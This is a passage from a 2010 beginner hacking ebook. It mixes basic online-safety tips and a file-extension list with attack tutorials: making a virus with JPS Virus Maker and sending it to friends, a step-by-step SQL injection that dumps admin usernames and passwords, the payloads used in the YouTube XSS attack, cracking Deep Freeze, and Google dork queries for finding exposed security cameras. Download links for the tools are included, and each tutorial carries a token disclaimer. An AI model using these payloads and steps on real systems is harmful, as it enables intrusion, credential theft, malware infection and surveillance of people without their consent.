  2929. can run a virus scan on it first to check it out.
  2930. 10. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to
  2931. automatically download any updates to both the operating system and Internet Explorer. These updates fix security holes
  2932. in both pieces of software.
  2933. 11. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus
  2934. scan before executing them.
  2935. 12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials,
  2936. warez etc. since they contribute much in spreading of viruses and other malicious programs.
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  2940. 23. 10 Tips for Total Online Security.
  2941. With the sudden rise in the Internet usage across the globe over the past few years, there has also been a rise in the
  2942. amount of online scams and frauds. Today most of the Internet users are unaware of the most prevailing online threats
  2943. which pose a real challenge for their safe Internet usage. As a result, Online Security has become a questionable factor for
  2944. the most Internet users. However it is still possible to effectively combat online insecurity provided that the users are well
  2945. aware of the common scams and frauds and know how to protect themselves. A study shows that over 91% of the
  2946. Internet users are unaware of the online scams and are worried about their security. Well if you are one among those
  2947. 91% then here is a list of 10 tips to ensure your total online security.
  2948. 1. Always install a good antivirus software and keep it up-to-date. Also install a good anti-spyware to keep your PC away
  2949. from spywares.
  2950. 2. Always visit known and trusted websites. If you are about to visit an unknown website, ensure that you do not click on
  2951. suspect able links and banners.
  2952. 3. Perform a virus scan on the files/email attachments that you download before executing them.
  2953. 4. Regularly update your operating system and browser software. For a better security it is recommended that you surf
  2954. the Internet through the latest version of your browser program.
  2955. 5. Never share your password (email, bank logins etc.) with any one for any reason. Choose a strong password (A blend of
  2956. alphanumeric special symbols) and change it regularly, eg. Every 3 months. Avoid using easy-to-guess passwords. (ex.
  2957. pet’s name or kid’s name)
  2958. 6. Always type the URL of the website in your browser’s address bar to enter the login pages. For e.g. to login to
  2959. your yahoo mail account type http://mail.yahoo.com
  2960. 7. Before you enter your password on any login page, ensure that you see https instead of http.
  2961. ex. https://mail.google.com instead of http://mail.google.com. HTTPS protocol implements SSL (Secure Sockets Layer) and
  2962. provide better security than a normal HTTP. For more information on HTTPS and SSL see Know More about Secure
  2963. Sockets Layer (SSL).
  2964. Hacking For Beginners – Manthan Desai 2010
  2965. w w w . h a c k i n g t e c h . c o . t v
  2966. Page 141
  2967. 8. Beware of phishing emails! Do not respond to any email that request you to update your login details by clicking on a
  2968. link in the body of the email. Such links can lead to Fake Login Pages (Spoofed Pages). For more information on phishing
  2969. refer what is Phishing?
  2970. 9. Always hit the logout button to close your login session rather than abruptly terminating the browser window. Also
  2971. clear your web browser caches after every session to remove the temporary files stored in the memory and hard disk of
  2972. your PC.
  2973. 10. Avoid (Stop) using any public computers or computers in the Internet cafes to access any sensitive/confidential
  2974. information. Also avoid such computers to login to your email/bank accounts. You cannot be sure if any spyware,
  2975. keystroke-logger, password-sniffer and other malicious programs have not been installed on such a PC.
  2976. Hacking For Beginners – Manthan Desai 2010
  2977. w w w . h a c k i n g t e c h . c o . t v
  2978. Page 142
  2979. 24. What to do when your orkut acc. is hacked
  2980. What to do when your orkut account is hacked
  2981. It can be a nightmare if someone else takes control of your Google Account because all your Google services like Gmail,
  2982. Orkut, Google Calendar, Blogger, Ad Sense, Google Docs and even Google Checkout are tied to the same account.
  2983. Here are some options suggested by Google Support when you forget the Gmail password or if someone else takes
  2984. ownership of your Google Account and change the password:
  2985. 1. Reset Your Google Account Password:
  2986. Type the email address associated with your Google Account or Gmail user name at google.com/accounts/ForgotPasswd -
  2987. you will receive an email at your secondary email address with a link to reset your Google Account Password.
  2988. This will not work if the other person has changed your secondary email address or if you no longer have access to that
  2989. address.
  2990. 2. For Google Accounts Associated with Gmail:
  2991. If you have problems while logging into your Gmail account, you can consider contacting Google by filling this form. It
  2992. however requires you to remember the exact date when you created that Gmail account.
  2993. 3. For Hijacked Google Accounts Not Linked to Gmail:
  2994. If your Google Account doesn’t use a Gmail address, contact Google by filling this form. This approach may help bring
  2995. back your Google Account if you religiously preserve all your old emails. You will be required to know the exact creation
  2996. date of your Google Account plus a copy of that original "Google Email Verification” message.
  2997. It may be slightly tough to get your Google Account back but definitely not impossible if you have the relevant
  2998. information in your secondary email mailbox.
  2999. Hacking For Beginners – Manthan Desai 2010
  3000. w w w . h a c k i n g t e c h . c o . t v
  3001. Page 143
  3002. 25. Making a computer virus
  3003. In This Tutorial we will study about the Making of Computer virus in an easy way with software named “JPS Virus Maker".
  3004. Let’s start the tutorial.
  3005. Step 1:- Download the Necessary software for VIRUS making.
  3006. Step 2:- Unrar the pack.
  3007. Step 3:- Now open the software and You Will Get the Following Screen. (Fig -1)
  3008. (Fig -1) (Fig -2)
  3009. Step 4:- Now Select any (can be more then one) Victim option from the given options as done above. (Fig -2)
  3010. Step 5:- For Virus of Fake Message select the Fake Error Message and write the message you want to display in caption
  3011. and Title Like "Error" as shown below. (Fig -3)
  3012. “Download JPS Virus Maker from here: http://www.hackingtech.co.tv/JPS_Virus_Maker.rar ”.
  3013. Hacking For Beginners – Manthan Desai 2010
  3014. w w w . h a c k i n g t e c h . c o . t v
  3015. Page 144
  3016. (Fig -3) (Fig -4)
  3017. Step 6:-To change the Password of the computer on execution of virus check CHANGE XP PASSWORD and type the new
  3018. password. (Fig -4)
  3019. Step 7:-To Run any program on starting the XP click on “Run Xp Program before Execute ". And then select any Program
  3020. from list you want to run at the Starting on Xp.
  3021. Hacking For Beginners – Manthan Desai 2010
  3022. w w w . h a c k i n g t e c h . c o . t v
  3023. Page 145
  3024. Step 8:- Now select any server Icon; it is the icon of the virus file. (Fig -6)
  3025. (Fig -6) (Fig -7)
  3026. Step 9:- Now select any virus Name from the list so it cannot be seen in the process from its own name. (Fig -7)
  3027. Step 10:- Click on the "make virus” Button and the virus is made.
  3028. Hacking For Beginners – Manthan Desai 2010
  3029. w w w . h a c k i n g t e c h . c o . t v
  3030. Page 146
  3031. Step 11:- Now send this file to your friends and see what happens to his/her PC.
  3032. “Do not use this hacks & trick in any criminal activities like phishing bank websites and please do
  3033. not destroy any ones account this is only for educational purpose”.
  3034. Hacking For Beginners – Manthan Desai 2010
  3035. w w w . h a c k i n g t e c h . c o . t v
  3036. Page 147
  3037. 26. SQL injection for website hacking
  3038. In this tutorial I will describe how sql injection works and how to use it to get some useful information.
  3039. First of all: What is SQL injection?
  3040. It's one of the most common vulnerability in web applications today.
  3041. It allows attacker to execute database query in url and gain access to some confidential Information etc...( In shortly).
  3042. 1. SQL Injection (classic or error based)
  3043. 2. Blind SQL Injection (the harder part)
  3044. So let's start with some action
  3045. Step 1:- Check for vulnerability
  3046. Let's say that we have some site like this http://www.site.com/news.php?id=5
  3047. Now to test if is vulnerable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5'
  3048. so if we get some error like
  3049. "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
  3050. etc..."
  3051. Or something similar
  3052. That means is vulnerable to sql injection :)
  3053. Step 2:- Find the number of columns
  3054. To find number of columns we use statement ORDER BY (tells database how to order the result) so how to use it? Well
  3055. just incrementing the number until we get an error.
  3056. http://www.site.com/news.php?id=5 order by 1/* <-- no error
  3057. http://www.site.com/news.php?id=5 order by 2/* <-- no error
  3058. http://www.site.com/news.php?id=5 order by 3/* <-- no error
  3059. http://www.site.com/news.php?id=5 order by 4/* <-- error
  3060. (We get message like this Unknown column '4' in 'order clause' or something like that)
  3061. That means that the it has 3 columns, because we got an error on 4.
  3062. Step 3:- Check for UNION function
  3063. Hacking For Beginners – Manthan Desai 2010
  3064. w w w . h a c k i n g t e c h . c o . t v
  3065. Page 148
  3066. With union we can select more data in one sql statement.
  3067. So we have http://www.site.com/news.php?id=5 union all select 1,2,3/*
  3068. (We already found that numbers of columns are 3 in section 2). if we see some numbers on screen, i.e. 1 or 2 or 3 then
  3069. the UNION works
  3070. Step 4:- Check for MySQL version
  3071. http://www.site.com/news.php?id=5 union all select 1,2,3/*
  3072. NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work
  3073. properly.
  3074. Let’s say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or
  3075. version () and get something like 4.1.33-log or 5.0.45 or similar.
  3076. It should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error
  3077. "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
  3078. I didn't see any paper covering this problem, so i must write it .
  3079. What we need is convert () function
  3080. i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
  3081. Or with hex () and unhex ()
  3082. i.e.http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
  3083. And you will get MySQL version.
  3084. Step 5:- Getting table and column name
  3085. Well if the MySQL version is < 5 (i.e. 4.1.33, 4.1.12...) <--- later I will describe for MySQL > 5 version. We must guess
  3086. table and column name in most cases. Common table names are: user/s, admin/s, and member/s ... common column
  3087. names are: username, user, usr, username, password, pass, passwd, pwd etc...
  3088. I.e. would be http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*
  3089. (We see number 2 on the screen like before, and that's good )
  3090. We know that table admin exists...
  3091. Now to check column names. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*
  3092. (If you get an error, then try the other column name)
  3093. We get username displayed on screen, example would be admin, or superadmin etc...
  3094. Now to check if column password exists
  3095. http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*
  3096. (If you get an error, then try the other column name)
  3097. We seen password on the screen in hash or plain-text, it depends of how the database is set up .
  3098. i.e. md5 hash, mysql hash, sha1...
  3099. Now we must complete query to look nice :)
  3100. For that we can use concat () function (it joins strings)
  3101. i.e.
  3102. http://www.site.com/news.php?id=5 union all select 1,concat
  3103. (Username, 0x3a, password),3 from admin/*
  3104. Note that I put 0x3a, its hex value for: (so 0x3a is hex value for colon)
  3105. (There is another way for that, char (58), ASCII value for : )
  3106. Hacking For Beginners – Manthan Desai 2010
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  3108. Page 149
  3109. http://www.site.com/news.php?id=5 union all select 1,concat
  3110. (username,char(58), password),3 from admin/*
  3111. Now we get displayed username:password on screen, i.e. admin:admin or admin:somehash when you have this, you
  3112. can login like admin or some superuser if can't guess the right table name, you can always try mysql.user (default) it
  3113. has user i password columns, so example would be
  3114. http://www.site.com/news.php?id=5 union all select 1,concat
  3115. (user,0x3a,password) ,3 from mysql.user/*
  3116. Step 6:- MySQL 5
  3117. Like I said before I’m going to explain how to get table and column names in MySQL > 5.
  3118. For this we need information_schema. It holds all tables and columns in database.
  3119. To get tables we use table_name and information_schema.tables.
  3120. i.e.
  3121. http://www.site.com/news.php?id=5 union all select 1,table_name,3
  3122. from information_schema.tables/*
  3123. Here we replace the our number 2 with table_name to get the first table from information_schema.tables
  3124. displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
  3125. i.e
  3126. http://www.site.com/news.php?id=5 union all select 1,table_name,3
  3127. from information_schema.tables limit 0,1/*
  3128. note that i put 0,1 (get 1 result starting from the 0th)
  3129. now to view the second table, we change limit 0,1 to limit 1,1
  3130. i.e
  3131. http://www.site.com/news.php?id=5 union all select 1,table_name,3
  3132. from information_schema.tables limit 1,1/*
  3133. the second table is displayed.
  3134. for third table we put limit 2,1
  3135. i.e
  3136. http://www.site.com/news.php?id=5 union all select 1,table_name,3
  3137. from information_schema.tables limit 2,1/*
  3138. keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
  3139. To get the column names the method is the same.
  3140. here we use column_name and information_schema.columns
  3141. the method is same as above so example would be
  3142. http://www.site.com/news.php?id=5 union all select 1,column_name,3
  3143. from information_schema.columns limit 0,1/*
  3144. the first column is diplayed.
  3145. the second one (we change limit 0,1 to limit 1,1)
  3146. ie.
  3147. http://www.site.com/news.php?id=5 union all select 1,column_name,3
  3148. from information_schema.columns limit 1,1/*
  3149. the second column is displayed, so keep incrementing until you get something like
  3150. username,user,login, password, pass, passwd etc...
  3151. if you wanna display column names for specific table use this query. (where clause)
  3152. let's say that we found table users.
  3153. i.e
  3154. http://www.site.com/news.php?id=5 union all select 1,column_name,3
  3155. from information_schema.columns where table_name='users'/*
  3156. now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
  3157. Note that this won't work if the magic quotes is ON.
  3158. let's say that we found colums user, pass and email.
  3159. Hacking For Beginners – Manthan Desai 2010
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  3161. Page 150
  3162. now to complete query to put them all together
  3163. for that we use concat() , i decribe it earlier.
  3164. i.e
  3165. http://www.site.com/news.php?id=5 union all select 1,concat
  3166. (user,0x3a,pass,0x3a,email) from users/*
  3167. what we get here is user:pass:email from table users.
  3168. example: admin:pass:blabla@whatever.com
  3169. “Do not use this hacks & trick in any criminal activities like phishing bank websites hacking the
  3170. web servers and please do not destroy any ones account this is only for educational purpose”.
  3171. Hacking For Beginners – Manthan Desai 2010
  3172. w w w . h a c k i n g t e c h . c o . t v
  3173. Page 151
  3174. 27. How a ‘Denial of service’ attack works
  3175. On February 6th, 2000 Yahoo portal was shut down for 3 hours. Then retailer Buy.com Inc. (BUYX) was hit the next day,
  3176. hours after going public. By that evening, eBay (EBAY), Amazon.com (AMZN), and CNN (TWX) had gone dark. And in the
  3177. morning, the mayhem continued with online broker E*Trade (EGRP) and others having traffic to their sites virtually
  3178. choked off.
  3179. How a "denial of service" attacks works
  3180. In a typical connection, the user sends a message asking the server to authenticate it. The server returns the
  3181. authentication approval to the user. The user acknowledges this approval and then is allowed onto the server.
  3182. In a denial of service attack, the user sends several authentication requests to the server, filling it up. All requests have
  3183. false return addresses, so the server can't find the user when it tries to send the authentication approval. The server
  3184. waits, sometimes more than a minute, before closing the connection. When it does close the connection, the attacker
  3185. sends a new batch of forged requests, and the process begins again--tying up the service indefinitely.
  3186. Typical connection
  3187. Hacking For Beginners – Manthan Desai 2010
  3188. w w w . h a c k i n g t e c h . c o . t v
  3189. Page 152
  3190. "Denial of service" attack
  3191. How to block a "denial of service" attack
  3192. One of the more common methods of blocking a "denial of service" attack is to set up a filter, or "sniffer," on a network
  3193. before a stream of information reaches a site's Web servers. The filter can look for attacks by noticing patterns or
  3194. identifiers contained in the information. If a pattern comes in frequently, the filter can be instructed to block messages
  3195. containing that pattern, protecting the Web servers from having their lines tied up.
  3196. Hacking For Beginners – Manthan Desai 2010
  3197. w w w . h a c k i n g t e c h . c o . t v
  3198. Page 153
  3199. “Do not use this hacks & trick in any criminal activities like phishing bank websites hacking the
  3200. web servers and please do not destroy any ones account this is only for educational purpose”.
  3201. Hacking For Beginners – Manthan Desai 2010
  3202. w w w . h a c k i n g t e c h . c o . t v
  3203. Page 154
  3204. 28. XSS vulnerability found on You Tube
  3205. On the 4th of July 2010 YouTube users began complaining that their videos had been hijacked, the comments section of
  3206. their videos seemed to be most severely affected, many complained that old comments vanished and new comments
  3207. could not be added. Others reported that offensive messages were popping up on their screen or scrolling horizontally in
  3208. large fonts and striking colours. Some users also seemed to suggest that there were experiencing page redirects, often to
  3209. sites promoting pornographic content.
  3210. YouTube users voiced their experiences on YouTube message boards, Twitter and other social networking sites. Within
  3211. minutes it was apparent that the YouTube website was under attack.
  3212. Hacking For Beginners – Manthan Desai 2010
  3213. w w w . h a c k i n g t e c h . c o . t v
  3214. Page 155
  3215. You Tube’s XSS (Cross Site Scripting) defences had been defeated. Security-minded people began shouting warnings,
  3216. asking users to stay off YouTube. Other YouTube users urged others to log out from their account, for fear of cookie
  3217. hijacking, and other nastiest caused by XSS attacks.
  3218. Above: Some users reported this screen when browsing the YouTube site during the attack.
  3219. Within an hour or two the problem was fixed, YouTube servers were cleaned out rebooted and the Internet as we know it
  3220. was restored to normality.
  3221. Very few realized that what they had just witnessed was probably the single most embarrassing and largest security
  3222. breach that Google has ever suffered. This flaw could, and probably will, tarnish Google’s reputation and raise new
  3223. awareness to everyone. People ask; how can Google and YouTube suffer from such a classic XSS attack as this one?
  3224. The YouTube XSS Vulnerability Explained
  3225. In XSS (Cross Site Scripting) attacks such as this one the attacker manages to ‘inject’ JavaScript code into the target
  3226. website.
  3227. In this attack the Comments feature of YouTube videos was targeted. The attacker would simply paste his malicious script
  3228. into the comments field that is available under videos on the YouTube website.
  3229. Hacking For Beginners – Manthan Desai 2010
  3230. w w w . h a c k i n g t e c h . c o . t v
  3231. Page 156
  3232. In its simple form, the user would put in a comment such as this one:
  3233. <script><h1><marquee><font color=”red”><u>Ha-Ha – This text will scroll in red, on your screen</script>
  3234. In this particular attack, the keyword IF_HTML_FUNCTION? Appears after the <script> tag, in the following way:
  3235. <Script>IF_HTML_FUNCTION? <h1><marquee><font color=”red”><u>Ha-Ha – This text will scroll in red, on your
  3236. screen<script>
  3237. Apart from this keyword, I also noticed that the <script> tag is not properly closed. This is probably what caused other
  3238. scripts on the same page to stop functioning.
  3239. During the time the YouTube was vulnerable users began creating variants of the marquee script, one of which would
  3240. redirect users to go at an infamous hacker web site, as can be seen below.
  3241. <script><BODY onLoad=”var a = ‘\x68\x74\x74\x70\x3a\x2f\x2f’ + ‘\x77\x77\x77\x2e’ + ‘goatse’ + ‘\x2efr’;
  3242. location.href = a;”
  3243. One thing to note about this attack script is that the IF_HTML_FUNCTION? Is missing, but the <script> tag is still not
  3244. properly closed.
  3245. Videos emerged of other users experimenting with this newly discovered flaw. One user made a video of himself
  3246. exploiting the following script, which will have the effect of making the entire page black, except for the words *TEXT
  3247. HERE*:
  3248. <script><h1><marquee style=”position: absolute; top: 0px; bottom: 0px; left: 0px; z-index: 9999999; right: 0px;
  3249. background-color: rgb(0, 0, 0);”><font style:=”font-size:60px” color=”red”><u style=”">*TEXT HERE*<script>
  3250. Similar to the previous two examples, the <script> tag is not properly closed, and just like the example before this one,
  3251. the IF_HTML_FUNCTION keyword is missing.
  3252. By the time I go around to creating my own experiments, YouTube had already fixed the problem, they also very briefly,
  3253. and without detailed, admitted to the attack (Google acknowledges YouTube hack.)
  3254. The fix was swift and effective, however it impeded me from carrying out further tests, so I was not able to determine
  3255. what would happen if, for example the <script> tag was properly terminated.
  3256. Lessons Learned and Countermeasures
  3257. It is still not clear whether this attack existed for a long time but never noticed, or whether it was a recently introduced
  3258. bug; hopefully YouTube will explain to us how this XSS vulnerability was made possible.
  3259. My gut feeling is that a recent software update introduced this security hole; if this is the case, it reinforces what some
  3260. security experts are saying; incorporate security test in your QA process, preferably with automated tools such as
  3261. vulnerability scanners. Security testing and vulnerability scanning are not exercises that are done once and then never
  3262. again. They need to be re-done each time a software update is made to your web apps. In the case of YouTube, this is
  3263. probably a daily exercise.
  3264. This attack is a stark reminder of how vulnerable Internet users are to XSS attacks. A classic and relatively simple attack
  3265. worked against the biggest Internet giant. If Google and YouTube cannot keep their users safe, then who can?
  3266. “Warning! Do not use this attack again on youtube and try to hack it as they are back tracking
  3267. this type of illegal activities, this is for educational purpose only”.
  3268. Hacking For Beginners – Manthan Desai 2010
  3269. w w w . h a c k i n g t e c h . c o . t v
  3270. Page 157
  3271. 29. Hacking Deep Freeze
  3272. Deep Freeze uses a unique method of disk protection to preserve the exact original standard system configuration on
  3273. over eight million Windows & Macintosh & Linux computers worldwide!
  3274. This Attack can mostly be used in cyber café's / colleges / schools etc. Where permissions are not granted to install any
  3275. software on computer so you can use following steps to crack Deep Freeze.
  3276. Step 1:- First of all you need software called Deep Unfreezer.
  3277. Step 2:- Unrar the downloaded Software and You will find the file named DeepUnfreezerU1.6.exe
  3278. Step 3:- Open that software and click on Boot Thawed radio button and click on load status.
  3279. Step 4:- After loading the status click on save status button.
  3280. Step 5:- Restart the Computer and You are done. The Deep Freeze is hacked.
  3281. “Download It from Here: http://www.hackingtech.co.tv/DeepUnfreezerU1.6.rar”.
  3282. Hacking For Beginners – Manthan Desai 2010
  3283. w w w . h a c k i n g t e c h . c o . t v
  3284. Page 158
  3285. Now Again to Lock the Deep Freeze or Freeze the System as it was before cracking the Deep Freeze follow Steps Below.
  3286. Step 1:- Open the software.
  3287. Step 2:- Select the boot frozen radio button and click on load status.
  3288. Step 3:- After loading the status click on save status button.
  3289. Step 4:- Restart the Computer and You are done. The Deep Freeze has been locked again.
  3290. “Do not hack any ones PC and install any illegal software like key loggers by hacking the Deep
  3291. Freeze, this is for educational purpose only”.
  3292. Hacking For Beginners – Manthan Desai 2010
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  3294. Page 159
  3295. 30. How to watch security cameras on internet
  3296. There are some Steps “How to watch Security Cameras on Internet”
  3297. Step 1. Open internet your web browser.
  3298. Step 2. Go to a search engine of your choice (i.e. Google, Yahoo, etc.), and input any of the search commands as listed
  3299. below.
  3300. Step 3. After you search one of these queries, you will see some search results, click on any one of them.
  3301. Step 4. Depending on the type of camera that you have access to, you may be able to control the camera like zoom, pan,
  3302. and tilt the camera to see what you want to.
  3303. Step 5. Do not try to get onto password protected cameras, as this will not go unnoticed if too many attempts are made.
  3304. Some Commands to be Remember to Find Live CCTV Cameras.
  3305.  inurl:/view.shtml
  3306.  intitle:”Live View / – AXIS” | inurl:view/view.shtml^
  3307.  inurl:ViewerFrame?Mode=
  3308.  inurl:ViewerFrame?Mode=Refresh
  3309.  inurl:axis-cgi/jpg
  3310.  inurl:view/index.shtml
  3311.  inurl:view/view.shtml
  3312.  liveapplet
  3313.  intitle:liveapplet
  3314.  allintitle:”Network Camera NetworkCamera”
  3315.  intitle:axis intitle:”video server”
  3316.  intitle:liveapplet inurl:LvAppl
  3317.  intitle:”EvoCam” inurl:”webcam.html”
  3318.  intitle:”Live NetSnap Cam-Server feed”
  3319.  intitle:”Live View / – AXIS 206M”
  3320.  intitle:”Live View / – AXIS 206W”
  3321.  intitle:”Live View / – AXIS 210″
  3322. Hacking For Beginners – Manthan Desai 2010
  3323. w w w . h a c k i n g t e c h . c o . t v
  3324. Page 160
  3325.  inurl:indexFrame.shtml Axis
  3326.  intitle:start inurl:cgistart
  3327.  intitle:”WJ-NT104 Main Page”
  3328.  intitle:snc-z20 inurl:home/
  3329.  intitle:snc-cs3 inurl:home/
  3330.  intitle:snc-rz30 inurl:home/
  3331.  intitle:”sony network camera snc-p1″
  3332.  viewnetcam.com
  3333.  intitle:”Toshiba Network Camera” user login
  3334.  intitle:”i-Catcher Console – Web Monitor”
  3335. Use these commands in Google Search and get the desired result.
  3336. “Do not misuse this hack or attack in any illegal activities as this is for educational purpose only”.
  3337. Hacking For Beginners – Manthan Desai 2010
  3338. w w w . h a c k i n g t e c h . c o . t v
  3339. Page 161
  3340. 31. List of PC file Extensions
  3341. This is a list of the most commonly found extensions, what type of file they are and what program if any they are
  3342. associated with.
  3343. .$$$ Temporary file
  3344. .$$A OS/2 program file
  3345. .$$F OS/2 database file
  3346. .$$S OS/2 spreadsheet file
  3347. . OS/2 planner file
  3348. .$DB DBASE IV temporary file
  3349. .$ED Microsoft C temporary editor file.
  3350. .$VM Microsoft Windows temporary file for virtual managers.
  3351. ._DD Norton disk doctor recovery file.
  3352. ._DM Nuts n Bolts disk minder recovery file.
  3353. .--- File used to backup sys, ini, dat, and other important files from Windows 3.1 and above.
  3354. .075 Ventura Publisher 75x75 dpi screen characters
  3355. .085 Ventura Publisher 85x85 dpi screen characters
  3356. .091 Ventura Publisher 91x91 dpi screen characters
  3357. .096 Ventura Publisher 96x96 dpi screen characters
  3358. .0B Pagemaker printer font LineDraw enhanced characters.
  3359. .1ST File used by some software manufacturers to represent a file that should be read first before starting the program.
  3360. Hacking For Beginners – Manthan Desai 2010
  3361. w w w . h a c k i n g t e c h . c o . t v
  3362. Page 162
  3363. .2GR File used in Windows 3.x to display the graphics on older 286 and 386 computers.
  3364. .386 Virtual machine support files for the 386 enhanced mode.
  3365. .3GR File used in Windows 3.x to display the graphics on later 386, 486 and Pentium computers.
  3366. .4SW 4DOS Swap file
  3367. A
  3368. A ADA program file or UNIX library
  3369. .A3W MacroMedia Authorware 3.5 file
  3370. .ABK Autobackup file used with Corel Draw 6 and above.
  3371. .ABR Brush file for Adobe Photoshop
  3372. .ACT Adobe Photoshop Color table file.
  3373. .AD After Dark file.
  3374. .ADF Adapter description files.
  3375. .ADM After Dark screen saver module.
  3376. .ADR After Dark randomizer
  3377. .AI Adobe Illustrator file.
  3378. .AIF Auto Interchange File Format (AIFF) Audio file.
  3379. .ANI Windows 95 / Windows 98 / Windows NT animated mouse cursor file.
  3380. .ANS ANSI text file.
  3381. .ARJ Compressed file can be used with Winzip / Pkzip.
  3382. .ASC ASCII Text file
  3383. .ASF Sort for Advanced Streaming Format, file developed by Microsoft. The .ASF file is generally a movie player and can
  3384. be open with software such as Windows Media Player.
  3385. .ASP Microsoft FrontPage Active Server Pages. To open these files use your internet browser.
  3386. .AVI Windows Movie file.
  3387. B
  3388. .BAK Backup file used for important windows files usually used with the System.ini and the Win.ini.
  3389. .BAS QBasic program and or Visual Basic Module.
  3390. .BAT Batch file that can perform tasks for you in dos, like a macro.
  3391. Hacking For Beginners – Manthan Desai 2010
  3392. w w w . h a c k i n g t e c h . c o . t v
  3393. Page 163
  3394. .BFC Microsoft Windows 95 / Windows 98 Briefcase file.
  3395. .BG Backgammon game file.
  3396. .BIN Translation tables for code pages other than the standard 437.
  3397. .BK2 Word Perfect for Windows Backup file
  3398. .BK3 Word Perfect for Windows Backup file
  3399. .BK4 Word Perfect for Windows Backup file
  3400. .BK5 Word Perfect for Windows Backup file
  3401. .BK6 Word Perfect for Windows Backup file
  3402. .BK7 Word Perfect for Windows Backup file
  3403. .BK8 Word Perfect for Windows Backup file
  3404. .BK9 Word Perfect for Windows Backup file
  3405. .BMP Graphical Bit Mapped File used in Windows Paintbrush.
  3406. .BNK Sim City Backup
  3407. .BPS Microsoft Works Word Processor File.
  3408. .BPT Corel Draw Bitmap master file
  3409. .BV1 Word Perfect for Windows Backup file
  3410. .BV2 Word Perfect for Windows Backup file
  3411. .BV3 Word Perfect for Windows Backup file
  3412. .BV4 Word Perfect for Windows Backup file
  3413. .BV5 Word Perfect for Windows Backup file
  3414. .BV6 Word Perfect for Windows Backup file
  3415. .BV7 Word Perfect for Windows Backup file
  3416. .BV8 Word Perfect for Windows Backup file
  3417. .BV9 Word Perfect for Windows Backup file
  3418. .BWP Battery Watch pro file.
  3419. C
  3420. .C C file used with the C programming language.
  3421. Hacking For Beginners – Manthan Desai 2010
  3422. w w w . h a c k i n g t e c h . c o . t v
  3423. Page 164
  3424. .CAB Cabinet file used in Windows 95 and Windows 98 that contains all the windows files and drivers. Information
  3425. about how to extract a .CAB file can be found on document CH000363.
  3426. .CAL Windows Calendar, Supercalculator4 file or Supercal spreadsheet.
  3427. .CBL COBOL Program File
  3428. .CBT Computer Based Training files.
  3429. .CDA CD Audio Player Track.
  3430. .CDR Corel Draw Vector file.
  3431. .CFB Comptons Multimedia file
  3432. .CFG Configuration file
  3433. .CFL Corel flowchart file
  3434. .CFM Corel FontMaster file / Cold Fusion Template file / Visual dBASE windows customer form
  3435. .CHK Scandisk file which is used to back up information that scandisk has found to be bad, found in C root. Because the
  3436. information within these files are corrupted or reported as bad by Scandisk it is perfectly fine to delete these files,
  3437. providing you are currently not missing any information. Additional information about scandisk can be found on our
  3438. scandisk page.
  3439. .CL Generic LISP source code.
  3440. .CL3 Easy CD Creator layout file.
  3441. .CL4 Easy CD Creator layout file.
  3442. .CLA Java Class file.
  3443. .CLG Disk catalog database
  3444. .CLK Corel R.A.V.E. animation file.
  3445. .CLL Crick software clicker file
  3446. .CLO Cloe image
  3447. .CLP Windows Clipboard / Quattro Pro clip art / Clipper 5 compiler script
  3448. .CLR WinEdit Colorization word list / 1st reader binary color screen image / PhotStyler color definition
  3449. .CLS Visual Basic Class module / C++ Class definition
  3450. .CMD Windows Script File also OS/2 command file.
  3451. .CMV Corel Movie file.
  3452. .CNT Help file (.hlp) Contents (and other file contents)
  3453. .CPL Windows 95 / Windows 98 / Windows NT control panel icons.
  3454. Hacking For Beginners – Manthan Desai 2010
  3455. w w w . h a c k i n g t e c h . c o . t v
  3456. Page 165
  3457. .CNE Configuration file that builds .COM files.
  3458. .CNF Configuration file.
  3459. .COB COBOL source code file.
  3460. .COD FORTRAN Compiler program code
  3461. .COM File that can be executed.
  3462. .CPE Fax cover page file
  3463. .CPI Code Page Information or Microsoft Windows applet control panel file
  3464. .CPP C++ source code file.
  3465. .CRD Windows Card file.
  3466. .CSV Comma-Separated Variable file. Used primary with databases and spreadsheets / Image file used with CopuShow
  3467. .CUR Windows Mouse Cursor.
  3468. .CVS Canvas drawing file
  3469. .CXX C++ program file or Zortech C++ file
  3470. D
  3471. .DAT Data file, generally associated or extra data for a program to use.
  3472. .DB Paradox database file / Progress database file
  3473. .DB2 dBase II file
  3474. .DBC Microsoft Visiual Foxpro database container
  3475. .DBF dBase II,III,III+,IV / LotusWorks database.
  3476. .DBK dBase databse backup / Orcad schematic capture backup file
  3477. .DBM Cold Fusion template
  3478. .DBO dBase IV compiled program file
  3479. .DBQ Paradox memo
  3480. .DBT dBase database text file
  3481. .DBV Flexfile memo field file
  3482. .DBW DataBoss database file
  3483. .DBX Database file / DataBeam Image / MS Visual Foxpro Table
  3484. .DEV Device Driver
  3485. Hacking For Beginners – Manthan Desai 2010
  3486. w w w . h a c k i n g t e c h . c o . t v
  3487. Page 166
  3488. .DIF Document Interchange Format; VisiCalc
  3489. .DLL Dynamic Link Library; Allow executable code modules to be loaded on demand, linked at run time, and unloaded
  3490. when not needed. Windows uses these files to support foreign languages and international/nonstandard keyboards.
  3491. .DMO Demo file
  3492. .DMP Dump file
  3493. .DMD Visual dBASE data module
  3494. .DMF Delusion/XTracker Digital Music File
  3495. .DMO Demo file
  3496. .DMP Dump file
  3497. .DMS Compressed archive file
  3498. .DOC Microsoft Word Windows/DOS / LotusWorks word processor Windows/DOS /PF S:First Choice Windows/DOS
  3499. DOT MS Word Windows/DOS.
  3500. .DOS Text file and DOS Specification Info
  3501. .DOT Microsoft Word Template (Macro).
  3502. .DRV Device driver files that attach the hardware to Windows. The different drivers are system, keyboard, pointing
  3503. devices, sound, printer/ plotter, network, communications adapter.
